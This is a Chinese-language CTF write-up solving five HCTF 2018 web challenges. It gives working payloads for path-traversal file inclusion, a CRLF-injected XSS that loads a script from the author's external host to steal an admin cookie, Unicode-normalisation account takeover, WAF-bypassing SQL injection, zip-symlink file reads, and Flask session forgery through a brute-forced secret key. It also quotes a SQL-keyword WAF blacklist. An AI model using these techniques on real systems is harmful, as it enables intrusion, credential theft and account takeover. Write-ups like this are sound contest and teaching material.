HCTF 2018 Web WrtieUp
劃了一波HCTF 2018 ,扶我起來我還能劃,珍惜這個寶貴的和大家學習的過程。
Warmup
得到Flag位置的提示:
flag not here, and flag in ffffllllaaaagggg
網頁原始碼提示source.php,訪問顯示原始碼:
<?php class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
這個就是 phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/" target="_blank" rel="nofollow,noindex">phpMyAdmin-4-8-x-Authorited-CLI-to-RCE 漏洞的程式碼,構造Payload如下:
http://warmup.2018.hctf.io/index.php?file=hint.php%253f/../../../../../../../../ffffllllaaaagggg
Flag為: hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}
bottle
描述
Not hard, I believe you are the lucky one!
hint1: */3 */10
hint2: bot use firefoxDriver
解題
bottle 是一個輕量級的python web框架,題目和名字描述是一樣的,採用的是bottle 框架,框架存在漏洞(CVE-2016-9964),HTTP頭注入的問題。
path引數為注入點,輸出點為響應中的Location,構造Xss的Poc
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io/user/%0a%0d%0a%0d<script>xss</script>
傳送給admin,打cookie:
但是這裡存在一個問題,響應是302跳轉,我們注入的XssPayload作為實體不會被瀏覽器解析,根據hint2: bot use firefoxDriver,讓Location跳轉的地址的埠小於0即可,並且這裡可以不用理會Content-Length的問題。
不是很清楚bot是否會補全基本的html標籤,所以手動新增一對body,Poc如下
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/user%0a%0d%0a<body></body>%3cscript+src%3dhttp://www.rai4over.cn/bottle.js%3e%3c%2fscript%3e
參考p老闆連結: ION/bottle-crlf-cve-2016-9964.html" target="_blank" rel="nofollow,noindex">https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html
admin
網頁原始碼中找到原始碼連結:
https://github.com/woadsl1234/hctf_flask/
檢視原始碼,得到一些資訊
.vscode/settings.json(開發環境python2.7)
{ "python.pythonPath": "/usr/local/opt/python@2/bin/python2.7" }
requirements.txt(安裝庫版本)
Flask==0.10.1 Werkzeug==0.10.4 Flask_Login==0.4.1 Twisted==10.2.0 Flask_SQLAlchemy==2.0 WTForms==2.2.1 Flask_Migrate==2.2.1 Flask_WTF==0.14.2 Pillow==5.3.0 pymysql==0.9.2
模板中看到當session['name'] == 'admin'時列印Flag。
{% include('header.html') %} {% if current_user.is_authenticated %} <h1 class="nav">Hello {{ session['name'] }}</h1> {% endif %} {% if current_user.is_authenticated and session['name'] == 'admin' %} <h1 class="nav">hctf{xxxxxxxxx}</h1> {% endif %} <!-- you are not admin --> <h1 class="nav">Welcome to hctf</h1> {% include('footer.html') %}
關鍵程式碼:
@app.route('/login', methods = ['GET', 'POST']) def login(): if current_user.is_authenticated: return redirect(url_for('index')) form = LoginForm() if request.method == 'POST': name = strlower(form.username.data) session['name'] = name user = User.query.filter_by(username=name).first() if user is None or not user.check_password(form.password.data): flash('Invalid username or password') return redirect(url_for('login')) login_user(user, remember=form.remember_me.data) return redirect(url_for('index')) return render_template('login.html', title = 'login', form = form) @app.route('/logout') def logout(): logout_user() return redirect('/index') @app.route('/change', methods = ['GET', 'POST']) def change(): if not current_user.is_authenticated: return redirect(url_for('login')) form = NewpasswordForm() if request.method == 'POST': name = strlower(session['name']) user = User.query.filter_by(username=name).first() user.set_password(form.newpassword.data) db.session.commit() flash('change successful') return redirect(url_for('index')) return render_template('change.html', title = 'change', form = form) def strlower(username): username = nodeprep.prepare(username) return username
-
login函式,使用form.username.data獲取表單內容,這是一個unicode物件,Twisted的版本小於11,並且使用封裝nodeprep.prepare的strlower()處理form.username.data存入session['name']。
-
change函式,再次使用strlower()處理unicode物件session['name']。
參考 此篇文章 可以完成低版本Twisted處理unicode堆在存在的冪等性攻擊。(PS:Python版本大於等於2.5)
註冊一個ᴬdmin賬號,登陸ᴬdmin,呼叫一次strlower(),此時session['name']變成Admin的unicode物件。
修改賬號密碼,呼叫一次strlower(),變成admin,已經修改了admin的密碼了。
重新登陸admin,看到flag。
kzone
掃描獲取題目的原始碼
http://kzone.2018.hctf.io/www.zip
發現問題檔案member.php,cookie中的login_data存在注入漏洞
<?php if (!defined('IN_CRONLITE')) exit(); $islogin = 0; if (isset($_COOKIE["islogin"])) { if ($_COOKIE["login_data"]) { $login_data = json_decode($_COOKIE['login_data'], true); $admin_user = $login_data['admin_user']; $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1"); if ($udata['username'] == '') { setcookie("islogin", "", time() - 604800); setcookie("login_data", "", time() - 604800); } $admin_pass = sha1($udata['password'] . LOGIN_KEY); if ($admin_pass == $login_data['admin_pass']) { $islogin = 1; } else { setcookie("islogin", "", time() - 604800); setcookie("login_data", "", time() - 604800); } } } if (isset($_SESSION['islogin'])) { if ($_SESSION["admin_user"]) { $admin_user = base64_decode($_SESSION['admin_user']); $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1"); $admin_pass = sha1($udata['password'] . LOGIN_KEY); if ($admin_pass == $_SESSION["admin_pass"]) { $islogin = 1; } } } ?>
但是有個基於黑名單的軟waf
<?php function waf($string) { $blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i'; return preg_replace_callback($blacklist, function ($match) { return '@' . $match[0] . '@'; }, $string); }
沒有其他的難點,這裡同樣要利用unicode繞過waf,滿足unicode編碼格式的字元在經過json_decode函式後會被解析。
比如傳入\u006f後,會被解析成o。
<?php $a = '{"test":"\u006f"}'; $a = json_decode($a); var_dump($a); # { ["test"]=> string(1) "o" }
延時test語句,繞過waf。
login_data={"admin_user":"rai4over'/**/\u006fr/**/\u0073leep(2)"}
最後盲注即可,渣程式碼指令碼就不貼了。
hide and seek
註冊使用者,登陸後可以上傳zip檔案,利用zip軟連線讀取檔案。
讀取/proc/self/environ得到。
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=323a960bcc1aSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0
讀取/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini得到。
[uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app
讀取/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py得到原始碼。
# -*- coding: utf-8 -*- from flask import Flask,session,render_template,redirect, url_for, escape, request,Response import uuid import base64 import random import flag from werkzeug.utils import secure_filename import os random.seed(uuid.getnode()) app = Flask(__name__) app.config['SECRET_KEY'] = str(random.random()*100) app.config['UPLOAD_FOLDER'] = './uploads' app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 ALLOWED_EXTENSIONS = set(['zip']) def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/', methods=['GET']) def index(): error = request.args.get('error', '') if(error == '1'): session.pop('username', None) return render_template('index.html', forbidden=1) if 'username' in session: return render_template('index.html', user=session['username'], flag=flag.flag) else: return render_template('index.html') @app.route('/login', methods=['POST']) def login(): username=request.form['username'] password=request.form['password'] if request.method == 'POST' and username != '' and password != '': if(username == 'admin'): return redirect(url_for('index',error=1)) session['username'] = username return redirect(url_for('index')) @app.route('/logout', methods=['GET']) def logout(): session.pop('username', None) return redirect(url_for('index')) @app.route('/upload', methods=['POST']) def upload_file(): if 'the_file' not in request.files: return redirect(url_for('index')) file = request.files['the_file'] if file.filename == '': return redirect(url_for('index')) if file and allowed_file(file.filename): filename = secure_filename(file.filename) file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename) if(os.path.exists(file_save_path)): return 'This file already exists' file.save(file_save_path) else: return 'This file is not a zipfile' try: extract_path = file_save_path + '_' os.system('unzip -n ' + file_save_path + ' -d '+ extract_path) read_obj = os.popen('cat ' + extract_path + '/*') file = read_obj.read() read_obj.close() os.system('rm -rf ' + extract_path) except Exception as e: file = None os.remove(file_save_path) if(file != None): if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1): return redirect(url_for('index', error=1)) return Response(file) if __name__ == '__main__': #app.run(debug=True) app.run(host='127.0.0.1', debug=True, port=10008)
可以發現原始碼中並沒有flag的獲取方式。
讀取/app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html得到index.html原始碼
<h1>Hello, {{ user }}. </h1> {% if user == 'admin' %} Your flag: <br> {{ flag }}
發現當滿足條件後就會列印輸出flag,此時我們就需要獲得admin的session。
flask的session是本地進行儲存的,並且通過了SECRET_KEY進行加密的,得到祕鑰就能偽造admin的session。
random.seed(uuid.getnode()) app = Flask(__name__) app.config['SECRET_KEY'] = str(random.random()*100)
祕鑰的生成是通過偽隨機數進行生成,種子是通過uuid.getnode()獲取的mac地址的十進位制,是固定的,我們知道mac地址就能夠預測SECRET_KEY。
讀取/sys/class/net/eth0/address獲取mac地址12:34:3e:14:7c:62,轉化十進位制20015589129314。
使用 saruberoz.github.io/flask-session-cookie-decoder-slash-encoder/" target="_blank" rel="nofollow,noindex">github上的指令碼 進行解密自己的flask的session,根據結果判斷祕鑰是否正確.
import random import os random.seed(int(20015589129314)) for x in range(1000): SECRET_KEY = str(random.random() * 100) cmd = '''python session_cookie_manager.py decode -c "eyJ1c2VybmFtZSI6InRlc3QifQ.Dsqibw.-00-g7bQXA32H9mmH4EmiZaLTyY" -s "{key}"'''.format(key=SECRET_KEY) rs = os.popen(cmd).read() if ('error' not in rs): print(SECRET_KEY) exit()
SECRET_KEY為11.935137566861131,加密得到admin的session。(注意使用unicode形式的變數)
python session_cookie_manager.py encode -s "11.935137566861131" -t "{u'username': u'admin'}" #eyJ1c2VybmFtZSI6ImFkbWluIn0.DsqsHA.F25iczn54vupT0JUQzSKtYbuNw0
成功登入等到flag: